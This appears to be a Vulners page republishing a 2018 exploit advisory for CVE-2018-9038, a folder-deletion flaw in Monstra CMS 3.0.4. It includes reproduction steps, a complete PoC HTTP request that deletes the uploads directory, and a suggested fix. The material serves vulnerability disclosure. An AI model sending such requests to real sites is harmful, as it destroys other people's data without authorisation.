Lucene search
K

Monstra CMS 3.0.4 Arbitrary Folder Deletion

🗓️ 25 Apr 2018 00:00:00Reported by Wenming JiangType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 77 Views

Monstra CMS 3.0.4 allows remote deletion of folders

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2018-9038
10 Apr 201818:29
attackerkb
CNVD
Monstra CMS File Deletion Vulnerability
11 Apr 201800:00
cnvd
CVE
CVE-2018-9038
10 Apr 201818:00
cve
Cvelist
CVE-2018-9038
10 Apr 201818:00
cvelist
Exploit DB
Monstra CMS 3.0.4 - Arbitrary Folder Deletion
24 Apr 201800:00
exploitdb
EUVD
EUVD-2018-20642
7 Oct 202500:30
euvd
exploitpack
Monstra CMS 3.0.4 - Arbitrary Folder Deletion
24 Apr 201800:00
exploitpack
NVD
CVE-2018-9038
10 Apr 201818:29
nvd
OpenVAS
Monstra CMS <= 3.0.4 Multiple Vulnerabilities
29 May 201800:00
openvas
Prion
Cross site request forgery (csrf)
10 Apr 201818:29
prion
Rows per page
`# Exploit Title: Monstra CMS 3.0.4 allows remote attackers to delete folder via an get request  
# Date: 2018-03-26  
# Exploit Author: Wenming Jiang  
# Vendor Homepage: https://github.com/monstra-cms/monstra  
# Software Link: https://github.com/monstra-cms/monstra  
# Version: 3.0.4  
# Tested on: macos 10.12.6, php 5.6, apache2.2.29  
# CVE :CVE-2018-9038  
  
  
Description:  
Monstra CMS 3.0.4 allows remote attackers to delete folder via an admin/index.php?id=filesmanager&delete_dir=./&path=uploads/ request.  
  
  
Steps to Reproduce:  
1aLog in as a user with page editing permissions  
2aRequest http://your_site/admin/index.php?id=filesmanager&delete_dir=./&path=uploads  
3aThe uploads folder will be deleted.  
  
  
Poc code:  
GET /monstra/admin/index.php?id=filesmanager&delete_dir=./&path=uploads/&token=008708df48237172f6fe2d173dc30529eac132de HTTP/1.1  
Host: localhost:8000  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.10 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer: http://localhost:8000/monstra/admin/index.php?id=filesmanager&path=uploads/  
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7  
Cookie: SQLiteManager_currentLangue=2; PHPSESSID=882dd1e203c979cedba4524f8107eca3; _ga=GA1.1.1742657188.1524382699; _gid=GA1.1.918663288.1524382699  
Connection: close  
  
  
  
Vulnerability Type:  
Insecure Permissions  
  
  
Expected Behavior:  
deleted uploads folder  
  
  
  
Possible Solutions:  
Strictly filter the delete_dir parameter and replace './' with '_/'  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Apr 2018 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.027
77